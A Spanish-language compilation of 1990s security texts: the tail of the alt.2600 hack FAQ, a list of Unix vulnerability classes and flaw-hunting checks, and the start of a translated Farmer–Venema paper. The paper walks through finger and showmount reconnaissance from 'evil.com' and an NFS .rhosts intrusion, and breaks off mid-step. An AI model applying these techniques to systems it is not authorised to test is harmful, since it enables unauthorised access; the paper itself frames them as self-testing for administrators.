NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators

Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems

Hot Peach Book

NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book

NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91

*Integrity in Automated Information Systems

*C Technical Report 39-92

*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing
or calling:

INFOSEC Awareness Division

ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000

Barbara Keller
(410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[*== no he visto personalmente este libro]

[+== no he visto personalmente este libro, y creo que no existe]
[ está disponible]
Sección E: 2600
~~~~~~~~~~~~~~~

01. ¿Qué es alt.2600?

Alt.2600 es un newsgroup de Usenet para la discusión del material relativo a

la revista 2600 , el hacker trimestral. No es para la consola Atari 2600.
[email protected] creó el grupo por la
recomendacion de Emmanuel Goldstein. Emmanuel es el editor/ publicador de la
revista 2600.
Siguiendo con los articulos publicados acerca del Atari 2600 dirigidos aalt.2600, un se
creó alt.atari.2600 para
desviar todo el trafico de Atari de alt.2600.
Atari 2600 aconseja a la gente visitar rec.games.video.classic.

02. ¿Qué significa 2600?

03. ¿Hay versiones del en-línea de 2600 disponible?

No.

Sección F: Misceláneo
~~~~~~~~~~~~~~~~~~~~~~~~

01. ¿Qué representa XXX?

TLA Three Letter Acronym

ACL Access Control List

PIN Personal Identification Number
TCB Trusted Computing Base

ALRU Automatic Line Record Update

AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DID Direct Inbound Dialing
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
PBX Private Branch Exchange
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom

HFC Hell Fire Club
TNO The New Order

ACiD Ansi Creators in Demand

CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers

04. ¿Cual es la ética del hacker?

Una cita de: Hackers: Heroes of the Computer Revolution

por Steven Levy
 El acceso a las computadoras--y a cualquier cosa que pueda enseñar
algo acerca de la manera de como trabajan --debe ser ilimitado
y total. Siempre obedezca al imperativo "manos a la obra "

Toda la información debe ser libre.

Desconfíe de la Autoridad. Promueva la Descentralization.

Los hackers deben ser juzgados por sus actos a la hora de acceder a los
ordenadores (1) , no por criterios ficticios
como, edad, raza, o posición.

Se puede crear arte y belleza en una computadora.

Las computadoras pueden cambiar su vida a mejor.

05. ¿Dónde puedo hacer una copia de alt.2600/#hack FAQ?

Get it on FTP at:

rahul.net /pub/lps/sysadmin/
rtfm.mit.edu /pub/usenet-by-group/alt.2600
clark.net /pub/jcase/

Get it on the World Wide Web at:

http://www.engin.umich.edu/~jgotts/underground/hack-faq.html

Get it on my BBS:
Hacker's Haven (303)343-4053

EOT

--
\* Will Spencer: El adelantamiento y difusión de conocimiento*\
\* Unix geek: es el unico guardián de libertad verdadera. *\
\* PC gurú: --James Madison*\
\* Revolutionary : 4th U.S. President *\

Agujeros de Seguridad.

Este texto es un poco mas tecnico pero da una idea general sobre los fallos de
seguridad que puede tener un
determinado sistema.
 Traducido por Tosh & ReK2WiLdS
BBK ôBig Bro Killerzö
http://www.geocities.com/SiliconValley/Pines/7347
[email protected]

From: Manifestation
Tema: Agujeros de seguridad se manifiestan (en general) en cuatro modos...
Date: 11.10.93

(Please contribute by sending E-Mail to ... )

[cita del FAQ de comp.security.unix]

Agujeros de seguridad se manifiestan (engenral) en cuatro modos....

1) Agujeros de seguridad fisicos

- Cuando el problema potencial esta causado debido al hecho de dar a personas

sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar
cosas que no deberian ser capaces de hacer.
Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo
donde seria facilisimo para un usuario el reinicializar una maquina en modo
mono-ususario y trastear con los archivos de la estacion de trabajo, si no se
tomasen precauciones.
Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup
confidenciales, que de otro modo podrian ser leidas por cualquier usuario con
acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran
o no permiso.

2) Agujeros de seguridad en el software

- Cuando el problema esta causado por una mala escritura de partes "privilegiadas"
de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas
que no deberian.
El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia
permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar
archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa.
(Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban
solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier
cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia
detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se
describe en [Stoll].)
Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:

a. tratar de estructurar tu sistema de forma que el menor software posible con

privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que
sea robusto.

b. suscribirse a una lista de mail para poder tener lo antes posible informacion
con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas.
>From: Wes Morgan
>
> c: Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo
>aquellos paquetes de software por los que tengas una necesidad inmediata o
>previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar
>informacion a extra±os. Por ejemplo, el paquete de contabilidad del Unix System
>V de AT&T incluye >acctcom(1), que podria permitir (por omision) a cualquier ususario
>el revisar los datos de las cuentas diarias de cualquier otro usuario.
>>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como
rwhod,
>fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.
>
>Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas
>son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque
>(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion.
>Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un
>simple chmod(1) puede prevenir el acceso de usuarios no autorizados
>
>Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION!
Tales facilidades
>tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos
>manuales de instalacion incluyen listas de "los programas incluidos en este paquete";
>asegurate de revisarlo.

3) Agujeros de seguridad de uso incompatible

- Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador

del sistema reune una combinacion de hardware y software y esta es usada como un
sistema, estara seriamente da±ado desde el punto de vista de la seguridad. Es la
incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea
agujeros de seguridad.
Problemas como este son muy dificiles de encontrar una vez que el sistema esta
creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos).
Aunque nunca es tarde para volver a pensarlo.
Algunos ejemplos estan detallados abajo; no entremos en ellos aquÝ, ya que
estropearia
la sorpresa.

4) Elegir una filosofia de seguridad adecuada y mantenerla

>From: Gene Spafford

>El cuarto tipo de problema de seguridad es el de la percepcion y el
>entendimiento. Software perfecto, hardware protegido, y componentes no funcionan a
menos
>que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha
las
>partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del
mundo
>es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen
>password! La seguridad esta relacionada con una politica (o conjunto de politi-
cas/normas)
>y el funcionamiento de tu sistema conforme a dicha politica

---

From: Hacking
Tema: Ideas de hacking
Date: 11/10/93

( Please contribute by sending E-Mail to ... )

[Muchas de las ideas tomadas de: HaxNet - APG V1.3 : Guia para encontrar nuevos
agujeros]

NOTA: Creo que esto se debe de dividir en categorias generales:

1) Principios generales
2) Buscar agujeros en src
3) Buscar en las distribuciones binarias
4) Buscar en configuraciones especificas de sites.

Las siguientes clasificaciones generales sugieren por si mismas:

1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Division sugerida de lo de arriba en sub-categorias)

I: Suid binaries and scripts
unexpected user interactions
flawed liberary calls
implicit assumptions of external conditions (sym links, loc. paths)
race conditions
II: daemons running with priviliged uid's
race conditions
poor file protectons
implicit file protections
trust
authentication
III: Kernel problems
 Kernel race conditions
device driver code

El siguiente metodo de 4 pasos fue creado por System Development

Corporation, que da un indice de 65% de Úxito en las hipotesis generadas.
El hacer una busqueda detallada de imperfecciones en los sistemas operativos
requiere
4 pasos:

Paso 1) Conocimiento de la estructura de control del sistema

==============================================================
Para encontrar agujeros de seguridad, e identificar debilidades de dise±o es necesario
entender la estructura de control del sistema, y las capas.
Uno deberia ser capaz de listar:
A)objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de
usuario
B)objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
C)objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.

Con dicha lista, es posible el representar graficamente una jerarquia de control e

identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un
analisis visual de relaciones definitivamente ayuda. El leer los varios manuales
de usuario, operadores, y administradores proveera dicha informacion.

Paso 2) Generar un inventario de desperfectos sospechosos

===========================================================
En particular queremos:
Historia de codigo:
De que UNIX deriva un defecto en particular? Esto es importante para proximas
referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera
usado por otros en su "reencarnacion" sin parchear.
Una referencia solida:
Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos
previene de realizar una doble tarea.

Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones
de los sistemas operativos. Despues intentar averiguar por que cada programa es suid
ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres
de usuario.
A menudo, codigo que nunca fue dise±ado para ser suid, se hace suid, para resolver
problemas de acceso a ficheros.
Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de
datos,
especificamente:nombre del programa, suid, sgid, objeto accedido (por que es
suid/sgid),
version del sistema operativo.
Alguna sugerencia de como implementar dicha base de datos?

Paso 3) Confirmar hipotesis (testear y explotar los defectos)

===============================================================
Paso 4) Hacer generalizaciones de las debilidades del sistema, para
las que los defectos representan un ejemplo especifico
==================================================================
===

Caja de herramientas
=====================
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de:
ftp cs.arizona.edu /agrep/agrep.tar.Z
Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien
soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de
muchos de estos defectos. Ej:
agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
OR execvp()]} /usr/local/src/*.c

PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un

programa que
genere todas las permutaciones posibles de los argumentos de la linea de comandos
para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.

TCOV:

CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)

TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y
presentan series de tests
1) Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller,
Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe
una serie de tests para testear cadenas aleatorias de entradas.
Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo,
o
no actuaban como debian. En un caso el sistema operativo se vino abajo.
El entendimiento de la composicion del buffer y el registro en el ambiente en
cuestion, y la entrada esperada se entiende que dara los resultados esperados.
2) El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford,
Software Practice and Experience, 20(2):181-189, Feb '90
4) A paper by IBM was mentioned that was submitted to USENIX a few years ago.
(Anyone have a citation?).

Defectos especificos que chequear

===================================
1) Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas.
Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer
(sprintf()?, gets(), etc.)tambien: strcpy()

2) Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL

3) Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"

4) Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp()
para ejecutar otra cosa.

5) Cualquier programa que use nombres relativos de ruta (path) dentro del programa

6) El uso de nombres relativos de ruta para especificar librerias vinculadas dinamica-

mente.

7) Rutinas que no chequean codigos de error devueltos por llamadas del sistema
(Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)

8) Los agujeros se pueden encontrar a menudo en codigo que:

A) es portado a un nuevo entorno
B) recibe entradas inesperadas
C) interactua con otro software local
D) accede a archivos de sistema como passwd, L.sys, etc
E) lee entradas de directorios o archivos publicos escribibles
F) programas de diagnostico que tipicamente no estan a prueba de usuarios

9) Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo

de
proteccion, flujo de datos, y muacion.

10) Buscar en los textos man, y guias de usuario las advertencias en contra de las
X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.

11) Buscar comandos o funciones raramente usados o inusuales. En particular seria util
buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en
versiones de otros sistemas operativos. Chequear las opciones que otros programas
podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...

12) Buscar condiciones raciales.

13) Fallos del software para verificar que realmente esta comunicandose con el
software
o modulo de hardware al que quiere acceder.

14) Falta de deteccion de errores para resetear los mecanismos de proteccion

siguientes al error.

15) Implementacion pobre que da como resultado, por ejemplo, codigos de condicion
testeados inapropiadamente

16) Confianza inplicita: La rutina B asume que los parametros de la rutina A son
correctos por que la rutina A es un proceso de sistema

17) El sistema almacena sus datos o referencia parametros de usuario en el espacio

disponible de las direcciones de usuarios

18) Enterrar procesos de comunicaci3/4n: condiciones de retorno (passwd OK, illegal

parameter, segment error, etc) pueden proporcionar una brecha significativa cuando
son combiandos con el paso 17

19) Los parametros de usuario pueden no estar adecuadamente chequeados.

20) Direcciones que sobrepasan o se refieren a areas del sistema

21) Las comprobaciones de condicion de codigo pueden omitirse

22) Fallo al anticiparse a parametros inusuales o extraordinarios

23) Buscar niveles del sistema donde los modulos alli involucrados fueron escritos
por programadores diferentes, o grupo de programadores - se suelen encontrar
agujeros.

24) Registros que apuntan a la localizacion de valores de parametros en vez de pasar

el parametro el mismo.

25) Cualquier programa ejecutandose con privilegios de sistema (a muchos programas

se
les da UID 0, para facilitar el acceso a ciertas tablas, etc)

26) Archivos temporales, buffers leibles por grupos o por todo el mundo

27) Carencia de valores de "umbral", y carencia de notificacion una vez se han

accionado estos.

28) Cambiar parametros de areas criticas del sistema antes de su ejecucion.

29) Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario

puede
ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos
(si las areas de texto y datos estan compartidas)

30) Manipular incorrectamente interrupciones asincronas generadas por usuarios.

Usuarios interrumpiendo un proceso, realizando una operaci3/4n, o bien volviendo para
continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de
desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta
de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc,
suelen ocurrir.

31) Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo
que no resetea el UID real y efectivo antes de bifurcarse

32) Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un
programa
33) Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores
instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid
root por su facilidad de uso.

34) Comprobar que los programas suid fueron los que originalmente se pusieron en el
sistema. Algunas veces los administradores reemplazaran el password por uno menos
seguro que el de las distribuciones.

35) Buscar programas que se usaran para instalar software o modulos de kernel

36) Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo

que esa
era la variable.

37) La programacion de canales de I/O (Entrada/Salida) es es un blanco primario.

Busca errores logicos, inconsistencias, y omisiones.

38) Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un
loop, y asi ejecutar el nuevo codigo modificado.

39) Si los canales I/O actuan como procesadores independientes tendran acceso
ilimitado
a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene
a su ejecucion.

40) Buscar bugs que requieran errores en multiples partes del software,ej: di por
ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion
/etc/a ,
ahora el programa "b" asume que la informacion de a es correcta y esto lleva a
resultados
inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)

41) Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a

shell.

Mejorar la Seguridad de tu Sistema.

Aqui esta un texto eminentemente practico donde se pueden ver algunas de las formas
de
conseguir un archivo passwd.
Esta un poco anticuado pero aun se encuentran maquinas que sucumben ante los
encantos de una de
estas "preciosidades".

Mejorar la seguridad de tu sistema irrumpiendo en el mismo

Dan Farmer Wietse Venema

Sun Microsystems Eindhoven University of Technology

2550 garcia ave MS PAL1-407 P.O. Box 513, 5600 MB
Mountain View CA 94043 Eindhoven, NL

[email protected] [email protected]

Traducido por Tosh & ReK2WiLdS

BBK "Big Bro Killerz"
http://www.geocities.com/SiliconValley/Pines/7347
[email protected]

Introducción

Todos los días, en todo el mundo, las redes de ordenadores y hosts son
violados. El nivel de sofisticación de estos ataques varia ampliamente;
mientras hay una creencia generalizada que la mayoría de estas intrusiones
tienen éxito debido a la debilidad de los passwords, hay todavía un gran
numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar.
Poco es sabido acerca de este ultimo tipo de intrusiones , debido
principalmente a su naturaleza y a su dificultad de ser detectadas.

--------

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. Cualquier sistema en Internet (y muchos que no lo están) son
susceptibles de ser violados fácilmente. Son estos objetivos inusuales? Que
ocurrió?

Fade to......

Un chaval, con pelo rubio y grasiento, sentado en una habitación oscura. La

habitacion esta iluminada solamente por la luz de la pantalla de 40
caracteres de un C64. Tomando otra larga calada de su Benson & Hedges, su
cansado sistema cracker "Telnetea" a otro site ".mil" anónimo de su lista
de víctimas. No importa. Tiene toda la noche....lo tacha de su lista, y
cansinamente teclea la siguiente víctima potencial....

Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin

experiencia, y con un montón de tiempo que perder, tan solo para entrar en
otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso
rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de
sistemas y herramientas cracking, que puede modificarlas para llevar a cabo
ataques específicos, y que puede currarse sus propios programas. Uno que no
solo se dedica a leer sobre los últimos agujeros de seguridad, sino que
tambien descubre bugs y puntos débiles. Una "criatura mortal" que puede
tanto golpear "envenenadamente" , como ocultar su rastro sin un solo
susurro o pista. El uebercracker esta aquí..

---------

Por que "uebercracker" ? Es una idea robada, obviamente, del uebermensch de

Nietzsche,o , literalmente traducido al ingles, "over man".
Nietzsche uso el termino no para referirse a un super hombre de comic, sino
a un hombre que va mas alla de la incompetencia, insignificancia, y
debilidad del hombre tradicional.
Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla
de los simples metodos de intrusion de los cookbooks. Un uebercracker no se
motiva normalmente para realizar actos violentos.

Las victimas no son arbitrariamente escogidas - hay un proposito, tanto

como si es por conseguir fines monetarios, un ataque "golpea y corre" para
pillar informacion, o un desafio para golpear un prestigioso-gran site o
red personalmente. Un uebercracker es dificil de detectar, mas aun de
parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.

Overview

En este texto vamos a realizar un acercamiento inusual a los sistemas de

seguridad.
En vez de decir meramente que algo es un problema, vamos a mirar a traves
de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que
incluso los aparentemente inocuos servicios de red pueden convertirse en
herramientas muy valiosas a la hora de buscar puntos debiles en un sistema,
incluso cuando estos servicios operan del modo esperado.

En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones
cada vez mas avanzadas, este texto reseña varios mecanismos usados
actualmente por los crackers para obtener acceso a los sistemas y,
adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos
usado nosotros mismos en tests o ambientes autorizados/amigables.

Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que

los administradores de sistemas no son muy a menudo conscientes del peligro
existente por cualquier cosa mas alla de los ataques mas triviales.
Mientras por todos es sabido que el nivel de proteccion apropiado depende
de que es lo que debe ser protegido, muchos sites parecen estar faltos de
los recursos para valorar que nivel de proteccion es adecuada.
Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un
sistema remoto, intentamos ayudar a los administradores de sistemas a tomar
decisiones sobre como proteger su site - o como no hacerlo. Limitaremos la
discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells
en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como
conseguir privilegios root estan mas alla del ambito de este texto -
consideramos que son o dependen del site y, en muchos casos, muy triviales
para merecer discutirse.

Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de

seguridad - siempre habra nuevos para que un "atacante" en potencia los
explote. El proposito de este texto es el de tratar de que el lector vea su
sistema de una forma nueva/diferente - una forma que posiblemente le
permita tener la oportunidad de entender como su propio sistema puede estar
comprometido, y como.

Tambien queremos reiterar que el proposito de este texto es el de enseñar

al lector como testear la seguridad de su propio site, y no como irrumpir
en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a
menudo huellas en los logs de tu sistema - seria constructivo examinarlos
despues de intentar alguno de estos ataques, para ver como seria un ataque
verdadero. Ciertamente otros sites y administradores de sistemas
tomaran/haran una vision fugaz de tus actividades si es que decides usar
sus hosts para hacer tests de seguridad sin autorizacion avanzada; de
hecho, es posible que se tomen medidas legales contra tu persona si lo
perciben como un ataque.

Hay cuatro partes principales en este texto. La primera es la intoduccion y

el overview. La segunda parte es un intento de dar a entender al lector lo
que es ser un intruso y como de no saber nada de un sistema pasar a
comprobar su seguridad. Esta seccion revisa las tecnicas actuales de
obtencion de informacion y acceso, y cubre estrategias basicas tales como
explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp,
etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi
como bugs tipicos y problemas de configuracion en cierta forma mas
especificos de los sitemas operativos o de los sistemas.
Tambien se cubre lo referente a estragegias defensivas contra cada uno de
los diferentes ataques.
La tercera seccion trata sobre confianza: como la seguridad de un sistema
depende de la integridad de otros sistemas. La confianza es el tema mas
complejo de este texto, y por ser breves limitaremos su discusion a "los
clientes ocultos" (si alguien ha entendido esto ultimo que me lo explique
:)).

La cuarta seccion cubre los pasos basicos a seguir por un administrador de

sistemas para proteger su sistema. La mayoria de los metodos presentados
aquí son meramente de sentido comun, pero son comunmente ignorados en la
practica - una de nuestras metas es enseñar lo peligroso que es ignorar
estos metodos basicos de seguridad.

Estudios practicos, indicadores de informacion relacionada con la

seguridad, y software son descritos en los apendices al final del
documento.

Mientras exploramos los metodos y estrategias que se discuten en este texto

vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ).
Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos
y recoge tanta informacion como sea posible explorando remotamente NIS,
finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye
la presencia de varios servicios de informacion de red asi como de defectos
potenciales de seguridad - normalmente en la forma de errores en el setup o
en la configuracion de los servicios de red, bugs tipicos en las utilidades
del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces
puede bien informar sobre estos datos o usar un sistema experto para
investigar mas adelante cualquier problema potencial de seguridad.
Mientras el SATAN no usa todos los metodos discutdos en este texto, ha
triunfado con "amenazadora" regularidad a la hora de encontrar serios
agujeros de seguridad en sites de Internet. Sera posteado y estara
disponible via FTP anonimo cuando este completado; El apendice A cubre
sus caracteristicas mas destacadas.

Observar que no es posible cubrir todos los metodos posibles de irrumpir en

los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los
metodos mas efectivos de irrupcion en hosts remotos: social engineering (
ingenieria social) y password cracking (crackear passwords). Este ultimo
metodo es tan efectivo, sin embargo, que varias de las estrategias
presentadas aquí estan basadas en la obtencion de archivos de passwords.
Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows,
etc..) pueden proveer una "tierra fertil" para la
irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos
usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan
terminales non-bitmapped que les pueden prevenir de usar algunos de los
metodos de explotacion efectiva mas interesantes para sistemas basados en
ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima
es normalmente suficiente para pillar passwords). Finalmente, mientras
gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no
son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas
muy similares a las descritas en este documento como partes individuales de
su estrategia de ataque.

Ganando Informacion

Asumamos que tu eres el administrador de sistema de "Victim Incorporated's

network of Unix workstations". En un esfuerzo por proteger tus maquinas, le
pides a un colega administrador de sistema de un site cercano (evil.com)
que te de una cuenta en una de sus maquinas para asi poder ver la seguridad
de tu propio sistema desde el exterior.

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu

blanco, tu host. Hay un monton de servicios de red en los que mirar:
finger, showmount y rpcinfo son buenos puntos de partida.
Pero no te pares ahi - debes tambien utilizar DNS, whois, sendmail (smtp),
ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos
metodos y tecnicas que el espacio nos impide enseñaros todos, pero
trataremos de enseñar una representativa de las estrategias mas comunes y/o
peligrosas que hemos visto o que se nos han ocurrido.

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la

subred o area de ataque - la informacion es poder - pero por ahora
examinaremos solo nuestra victima/blanco en cuestion.

Para comenzar, miraremos lo que el comando finger nos ha reportado.

(imagina que son las 6pm, 6 Noviembre, 1993):
victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com

Bien! Un solo usuario inactivo - se supone que nadie va a notar si intentas

irrumpir dentro.

Ahora intentas mas tacticas. Como todos los devotos del finger sabran,
hacer finger "@", "0", y "", asi como a nombre comunes, como root, bin,
ftp, system, guest, demo, manager, etc..., puede revelar informacion
interesante. Lo que esa informacion sea depende de la version de finger que
tu victima este usando, pero la mas importante son nombres de cuentas,
conjuntamente con sus home directories y el ultimo host desde el que se
conectaron.

Para añadir a esta informacion, puedes tambien usar rusers (en particular
con la extension -l ) para pillar informacion valiosa sobre usuarios
conectados.

Usando estos comandos en victim.com nos da la siguiente informacion,

presentada de forma tabulada comprimida para ahorrar espacio:

Login Home-dir Shell Last login, from where

root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento

system crackers nos ha demostrado que el finger es uno de los servicios mas
peligrosos, por su valor a la hora de investigar una victima potencial. De
todas formas, mucha de esta informacion solamente es valiosa usada
conjuntamente con otros datos.

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un

servidor)en tu victima nos revela lo siguiente:

evil % showmount -e victim.com

export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

Notar que /export/foo esta "exportado al mundo"; tambien fijaros que este
es el home directory del usuario "guest". Es hora de tu primera intrusion!
En este caso, montaras el home directoy del usuario "guest". Como no tienes
la cuenta correspondiente en esa maquina y como root no puede modificar
archivos en un sistema de archivos NFS, creas una cuenta "guest" en tu
archivo de password local. Como usuario "guest" puedes colocar una ".rhosts
entry" en el guest home directory remoto, que te permitira acceder a dicha
